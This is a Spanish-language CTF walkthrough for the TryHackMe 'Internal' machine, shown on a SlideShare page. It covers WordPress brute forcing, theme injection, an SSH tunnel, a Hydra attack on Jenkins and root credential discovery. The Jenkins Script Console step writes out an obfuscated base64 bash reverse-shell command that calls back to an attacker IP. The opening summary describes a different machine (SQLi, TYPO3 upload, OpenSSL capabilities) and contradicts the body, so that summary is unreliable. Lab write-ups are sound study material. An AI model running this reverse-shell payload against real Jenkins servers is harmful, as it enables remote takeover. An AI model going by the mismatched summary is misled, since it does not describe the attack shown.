SlideShare una empresa de Scribd logo
1 de 23
Debemos encontrar dos banderas. Donde a partir de un escaneo de puertos pude
saber que hay un servicio Web, SSH. Además, gracias a un script de Nmap, logre
determinar que hay una página web, que contenía un nombre de dominio. Luego,
realice una enumeración de subdominios, logrando encontrar un subdominio asociado
a un sitio web que realizaba una solicitud hacia un endpoint de una API. Luego, logre
enumere las bases de datos a partir del parámetro GET vulnerable a SQLi del
endpoint, logrando extraer un hash y un wordlist de contraseñas para crackear el hash.
Luego, me autentique al panel de gestión del CMS TYPO3 asociado a otro subdominio
encontrado, logrando acceder al sistema destino mediante la vulnerabilidad File
Upload. Luego, en la escalada horizontal, extraje unas credenciales guardades en un
perfil de usuario de Firefox, y en la escalada vertical, aproveché que el programa
OpenSSL tenía todo los capabilities habilitados.
En este caso debemos acceder al sistema destino y obtener las
banderas. Para ello empezaremos utilizando el comando openvpn
con el fin de establecer una conexión VPN con la red virtual
dónde está la máquina Internal. Para ello utilizaremos el
archivo de configuración, que lo podemos descargar en la
plataforma de Tryhackme, que puede incluir información
como la dirección del servidor VPN, los certificados y
claves de seguridad, la configuración de encriptación, etc.
Luego de que se establece la conexión VPN se crea una interfaz
virtual de red en nuestra máquina. Donde se enruta todo el tráfico
de red a través de esa interfaz.
Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina
Internal.
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de
poder escanear los puertos del nodo. Además, obtendremos los
servicios que se han levantado en los puertos abiertos, las
versiones de los servicios, y el sistema operativo de la máquina
Internal. Para ello utilizaremos `Nmap`. Donde le pasaremos los
siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts
de la categoría default con el fin de realizar un escaneo y detección
de los puertos de manera avanzada.
- El parámetros -sV con el fin de conocer las versiones de los
servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –
max-rate para indicarle el número máximo de paquetes por segundo
que va a utilizar Nmap para el escaneo con el fin de evitar
sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -Pn para evitar que Nmap, que realice ningún tipo de
sondeo o ping hacia el sistema destino con el fin de determinar si el
host está vivo o activo, y realice el escaneo de puertos
directamente.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del
nodo y el parámetro –open con el fin de que nos muestre
información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
 Un programa servidor web Apache levantado en el puerto 80.
Además, gracias al script http-tittle obtuvimos el valor de la etiqueta
HTML title de la pagina web que viene por defecto al instalar el
programa servidor Apache.
 Un programa servidor SSH levantado en el puerto 22.
Ahora realizaremos una fuerza bruta de directorios sobre el directorio raíz
del servidor web.
Podemos observar que la herramienta encontró un directorio llamado
blog. Además, si accedemos al directorio a través del navegador web, se
nos muestra una página web de un sitio web y con la ayuda de la
extensión Wappalyzer nos damos cuenta de que ha sido creado utilizando
el CMS WordPress. Además, si damos clic a los enlaces de la pagina web,
nuestro navegador web no puede redirigirnos hacia esas paginas web ya
que están asociadas al nombre de dominio internal.thm y nuestro
navegador web no ha podido obtener la dirección IP asociada a ese
nombre de dominio de las consultas DNS que ha hecho hacia los
servidores DNS recursivos proveídos por nuestra ISP ya que el nombre de
dominio no es publico aún.
Para solucionar este problema, agregaremos el nombre de dominio
asociada con la dirección IP del sistema destino en nuestro archivo
/etc/hosts.
Podemos observar que ahora si podemos navegador por todas las paginas
web del sitio web. Además, podemos observar una página web con un
formulario HTML donde tenemos que autenticarnos para acceder al panel
de gestión del CMS.
Ahora utilizaremos la herramienta WPScan con el fin de realizar una
recopilacion de usernames en el sitio web creado y gestionado por el CMS
WordPress.
Podemos observar que la herramienta logro encontrar un username valido
que podemos utilizar para autenticarnos en el formulario HTML para
acceder al portal de administración del CMS. Además, también podemos
saber que theme esta utilizando el sitio web.
Ahora que conocemos un username valido, realizaremos fuerza bruta de
contraseñas sobre el formulario HTML del panel de gestión del CMS con la
herramienta WPScan.
Podemos observar que logramos obtener acceso al sistema destino
mediante la explotación de la vulnerabilidad Theme Injection.
Ahora convertiremos nuestra reverse Shell en una Shell más estable e
interactiva con el fin evitar de que se cierre con errores simples. Luego,
buscaremos vectores de escalada privilegio de manera manual en el
sistema de archivos del sistema destino.
Podemos observar que nos encontramos con un archivo de texto en el
directorio opt que contiene las credenciales de un usuario local en el
sistema destino. De esta manera realizamos una escalada privilegio
horizontal.
Ahora realizaremos una enumeración manual y automatizada con Linpeas
sobre el sistema de archivos del sistema destino con el fin de buscar
vectores de escalada privilegio.
Podemos observar en los resultados del escaneo con Linpeas, pudimos
saber que el sistema destino tiene la interfaz de red docker0 por lo que se
han ejecutado contenedores Docker en el sistema destino. Luego, otro de
los resultados de Linpeas viene a ser los procesos ejecutados por el
usuario root donde uno de los procesos viene a ser un comando que
configura un proxy de red con el fin de redirigir el trafico del puerto 8080
en el sistema destino hacia el puerto 8080 de un contenedor Docker. De
esta manera podremos acceder al servicio que esta ejecutando en el
puerto 8080 del contenedor como si se tratase de un servicio que se esta
ejecutando en el mismo sistema destino.
Luego, los resultados del escaneo manual vienen a ser la primera bandera
solicitada y un archivo de texto que nos indica que el servicio que se esta
ejecutando el puerto 8080 en el contenedor Docker es Jenkins, que viene
a ser como un programa servidor que nos provee una interfaz web para
automatizar tareas de desarrollo.
Ahora para poder ingresar a la interfaz web del servidor Jenkins,
realizaremos un reenvió de puertos local SSH mediante un túnel SSH que
va a redirigir el tráfico de un puerto de nuestro sistema hacia el puerto
8080 del sistema destino con el fin de poder acceder a la interfaz web de
el servidor Jenkins desde nuestro navegador web.
Podemos observar que logramos realizar el túnel SSH y logramos acceder
al servidor Jenkins a traves de mi navegador web, pero antes de acceder a
la interfaz web de programación del servicio, debemos autenticarnos en
un login. Además, probe con todas las credenciales encontradas hasta
ahora pero ningún funciono, y también provee con las credenciales por
defecto.
Ahora desafortunadamente tendremos que realizar un ataque de fuerza
bruta con Hydra sobre el formulario HTML sin conocer un username valido
ni contraseña. Por lo tanto, las combinaciones posibles son mayores y el
tiempo que va a tardar igual, aunque utilizare wordlists pequeños para
evitar esperar mucho tiempo.
Después de probar muchos wordlists logre encontrar unas credenciales
validas para acceder a la interfaz web de Jenkins.
Ahora iremos a la sección llamada Scrip Console donde puedes ejecutar
comandos Groovy. Para ello primero damos clic a Build Executor Status-->
master--> Script Console. Luego, ejecutaremos el comando 'bash -c {echo,
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjEyMy4xOTQvMTU
wMCAwPiYxJwo=}|{base64,-d}|{bash,-i}'.execute() para que nos genere
una reverse Shell, pero antes debemos habilitar el puerto 1500 en modo
listening en nuestro sistema.
De esta manera logramos acceder al contenedor del sistema destino
donde se esta ejecutando el servidor Jenkins.
Ahora buscaremos vectores de escalada privilegios en el contenedor.
Podemos observar que logramos encontrar las credenciales de inicio de
sesión del usuario root en el directorio opt del contenedor Docker. De esta
manera realizamos una escalada privilegio vertical.
Ahora buscaremos la segunda bandera en root.txt.

Más contenido relacionado

Similar a Team.docx

Maitaining access
Maitaining accessMaitaining access
Maitaining accessTensor
 
MAITAINING ACCESS
MAITAINING ACCESSMAITAINING ACCESS
MAITAINING ACCESSTensor
 
Laboratorio de servidores
Laboratorio de servidoresLaboratorio de servidores
Laboratorio de servidoresCesar Rodriguez
 
Instalación de 2 CMS: Wordpress y Drupal
Instalación de 2 CMS: Wordpress y DrupalInstalación de 2 CMS: Wordpress y Drupal
Instalación de 2 CMS: Wordpress y DrupalTerrafx9
 
CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...Elvis Vinda
 
Publicación de un Servidor Web a través de un Módem Doméstico.
Publicación de un Servidor Web a través de un Módem Doméstico.Publicación de un Servidor Web a través de un Módem Doméstico.
Publicación de un Servidor Web a través de un Módem Doméstico.Gerardo Martínez
 
Subiendo shell y explotando vulnerabilidad lfi vía phpinput
Subiendo shell y explotando vulnerabilidad lfi vía phpinputSubiendo shell y explotando vulnerabilidad lfi vía phpinput
Subiendo shell y explotando vulnerabilidad lfi vía phpinputAnxnLeg
 

Similar a Team.docx (20)

Servidorweb
ServidorwebServidorweb
Servidorweb
 
Maitaining access
Maitaining accessMaitaining access
Maitaining access
 
MAITAINING ACCESS
MAITAINING ACCESSMAITAINING ACCESS
MAITAINING ACCESS
 
Servidor web apache
Servidor web apacheServidor web apache
Servidor web apache
 
Laboratorio de servidores
Laboratorio de servidoresLaboratorio de servidores
Laboratorio de servidores
 
12 servicios webftp_windowsasoitson
12 servicios webftp_windowsasoitson12 servicios webftp_windowsasoitson
12 servicios webftp_windowsasoitson
 
12 servidor webwindows2003
12 servidor webwindows200312 servidor webwindows2003
12 servidor webwindows2003
 
Apache
ApacheApache
Apache
 
servidor web.pptx
servidor web.pptxservidor web.pptx
servidor web.pptx
 
Instalación de 2 CMS: Wordpress y Drupal
Instalación de 2 CMS: Wordpress y DrupalInstalación de 2 CMS: Wordpress y Drupal
Instalación de 2 CMS: Wordpress y Drupal
 
CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...
 
Publicación de un Servidor Web a través de un Módem Doméstico.
Publicación de un Servidor Web a través de un Módem Doméstico.Publicación de un Servidor Web a través de un Módem Doméstico.
Publicación de un Servidor Web a través de un Módem Doméstico.
 
Info de redes
Info de redesInfo de redes
Info de redes
 
Info de redes
Info de redesInfo de redes
Info de redes
 
Subiendo shell y explotando vulnerabilidad lfi vía phpinput
Subiendo shell y explotando vulnerabilidad lfi vía phpinputSubiendo shell y explotando vulnerabilidad lfi vía phpinput
Subiendo shell y explotando vulnerabilidad lfi vía phpinput
 
Http al descubierto
Http al descubiertoHttp al descubierto
Http al descubierto
 
Http al descubierto
Http al descubiertoHttp al descubierto
Http al descubierto
 
Servidores
ServidoresServidores
Servidores
 
CTF Brainpan
CTF BrainpanCTF Brainpan
CTF Brainpan
 
Servidores, seguridad y autenticación
Servidores, seguridad y autenticaciónServidores, seguridad y autenticación
Servidores, seguridad y autenticación
 

Team.docx

  • 1. Debemos encontrar dos banderas. Donde a partir de un escaneo de puertos pude saber que hay un servicio Web, SSH. Además, gracias a un script de Nmap, logre determinar que hay una página web, que contenía un nombre de dominio. Luego, realice una enumeración de subdominios, logrando encontrar un subdominio asociado a un sitio web que realizaba una solicitud hacia un endpoint de una API. Luego, logre enumere las bases de datos a partir del parámetro GET vulnerable a SQLi del endpoint, logrando extraer un hash y un wordlist de contraseñas para crackear el hash. Luego, me autentique al panel de gestión del CMS TYPO3 asociado a otro subdominio encontrado, logrando acceder al sistema destino mediante la vulnerabilidad File Upload. Luego, en la escalada horizontal, extraje unas credenciales guardades en un perfil de usuario de Firefox, y en la escalada vertical, aproveché que el programa OpenSSL tenía todo los capabilities habilitados.
  • 2. En este caso debemos acceder al sistema destino y obtener las banderas. Para ello empezaremos utilizando el comando openvpn con el fin de establecer una conexión VPN con la red virtual dónde está la máquina Internal. Para ello utilizaremos el archivo de configuración, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir información como la dirección del servidor VPN, los certificados y claves de seguridad, la configuración de encriptación, etc. Luego de que se establece la conexión VPN se crea una interfaz virtual de red en nuestra máquina. Donde se enruta todo el tráfico de red a través de esa interfaz.
  • 3. Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina Internal. Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina Internal. Para ello utilizaremos `Nmap`. Donde le pasaremos los siguientes parámetros: - El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada. - El parámetros -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos. - El parámetro -n para evitar la resolución DNS, y el parámetro – max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
  • 4. - El parámetro -Pn para evitar que Nmap, que realice ningún tipo de sondeo o ping hacia el sistema destino con el fin de determinar si el host está vivo o activo, y realice el escaneo de puertos directamente. - El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos. Los resultados que obtuvimos del escaneo vienen a ser:  Un programa servidor web Apache levantado en el puerto 80. Además, gracias al script http-tittle obtuvimos el valor de la etiqueta HTML title de la pagina web que viene por defecto al instalar el programa servidor Apache.  Un programa servidor SSH levantado en el puerto 22. Ahora realizaremos una fuerza bruta de directorios sobre el directorio raíz del servidor web.
  • 5.
  • 6.
  • 7. Podemos observar que la herramienta encontró un directorio llamado blog. Además, si accedemos al directorio a través del navegador web, se nos muestra una página web de un sitio web y con la ayuda de la extensión Wappalyzer nos damos cuenta de que ha sido creado utilizando el CMS WordPress. Además, si damos clic a los enlaces de la pagina web, nuestro navegador web no puede redirigirnos hacia esas paginas web ya que están asociadas al nombre de dominio internal.thm y nuestro navegador web no ha podido obtener la dirección IP asociada a ese nombre de dominio de las consultas DNS que ha hecho hacia los servidores DNS recursivos proveídos por nuestra ISP ya que el nombre de dominio no es publico aún.
  • 8. Para solucionar este problema, agregaremos el nombre de dominio asociada con la dirección IP del sistema destino en nuestro archivo /etc/hosts.
  • 9. Podemos observar que ahora si podemos navegador por todas las paginas web del sitio web. Además, podemos observar una página web con un formulario HTML donde tenemos que autenticarnos para acceder al panel de gestión del CMS. Ahora utilizaremos la herramienta WPScan con el fin de realizar una recopilacion de usernames en el sitio web creado y gestionado por el CMS WordPress.
  • 10.
  • 11. Podemos observar que la herramienta logro encontrar un username valido que podemos utilizar para autenticarnos en el formulario HTML para acceder al portal de administración del CMS. Además, también podemos saber que theme esta utilizando el sitio web. Ahora que conocemos un username valido, realizaremos fuerza bruta de contraseñas sobre el formulario HTML del panel de gestión del CMS con la herramienta WPScan.
  • 12.
  • 13. Podemos observar que logramos obtener acceso al sistema destino mediante la explotación de la vulnerabilidad Theme Injection.
  • 14. Ahora convertiremos nuestra reverse Shell en una Shell más estable e interactiva con el fin evitar de que se cierre con errores simples. Luego, buscaremos vectores de escalada privilegio de manera manual en el sistema de archivos del sistema destino. Podemos observar que nos encontramos con un archivo de texto en el directorio opt que contiene las credenciales de un usuario local en el sistema destino. De esta manera realizamos una escalada privilegio horizontal.
  • 15. Ahora realizaremos una enumeración manual y automatizada con Linpeas sobre el sistema de archivos del sistema destino con el fin de buscar vectores de escalada privilegio.
  • 16. Podemos observar en los resultados del escaneo con Linpeas, pudimos saber que el sistema destino tiene la interfaz de red docker0 por lo que se han ejecutado contenedores Docker en el sistema destino. Luego, otro de los resultados de Linpeas viene a ser los procesos ejecutados por el usuario root donde uno de los procesos viene a ser un comando que configura un proxy de red con el fin de redirigir el trafico del puerto 8080 en el sistema destino hacia el puerto 8080 de un contenedor Docker. De esta manera podremos acceder al servicio que esta ejecutando en el puerto 8080 del contenedor como si se tratase de un servicio que se esta ejecutando en el mismo sistema destino.
  • 17. Luego, los resultados del escaneo manual vienen a ser la primera bandera solicitada y un archivo de texto que nos indica que el servicio que se esta ejecutando el puerto 8080 en el contenedor Docker es Jenkins, que viene a ser como un programa servidor que nos provee una interfaz web para automatizar tareas de desarrollo. Ahora para poder ingresar a la interfaz web del servidor Jenkins, realizaremos un reenvió de puertos local SSH mediante un túnel SSH que va a redirigir el tráfico de un puerto de nuestro sistema hacia el puerto 8080 del sistema destino con el fin de poder acceder a la interfaz web de el servidor Jenkins desde nuestro navegador web.
  • 18. Podemos observar que logramos realizar el túnel SSH y logramos acceder al servidor Jenkins a traves de mi navegador web, pero antes de acceder a la interfaz web de programación del servicio, debemos autenticarnos en un login. Además, probe con todas las credenciales encontradas hasta ahora pero ningún funciono, y también provee con las credenciales por defecto. Ahora desafortunadamente tendremos que realizar un ataque de fuerza bruta con Hydra sobre el formulario HTML sin conocer un username valido ni contraseña. Por lo tanto, las combinaciones posibles son mayores y el
  • 19. tiempo que va a tardar igual, aunque utilizare wordlists pequeños para evitar esperar mucho tiempo.
  • 20. Después de probar muchos wordlists logre encontrar unas credenciales validas para acceder a la interfaz web de Jenkins. Ahora iremos a la sección llamada Scrip Console donde puedes ejecutar comandos Groovy. Para ello primero damos clic a Build Executor Status--> master--> Script Console. Luego, ejecutaremos el comando 'bash -c {echo, YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjEyMy4xOTQvMTU wMCAwPiYxJwo=}|{base64,-d}|{bash,-i}'.execute() para que nos genere una reverse Shell, pero antes debemos habilitar el puerto 1500 en modo listening en nuestro sistema.
  • 21.
  • 22. De esta manera logramos acceder al contenedor del sistema destino donde se esta ejecutando el servidor Jenkins. Ahora buscaremos vectores de escalada privilegios en el contenedor.
  • 23. Podemos observar que logramos encontrar las credenciales de inicio de sesión del usuario root en el directorio opt del contenedor Docker. De esta manera realizamos una escalada privilegio vertical. Ahora buscaremos la segunda bandera en root.txt.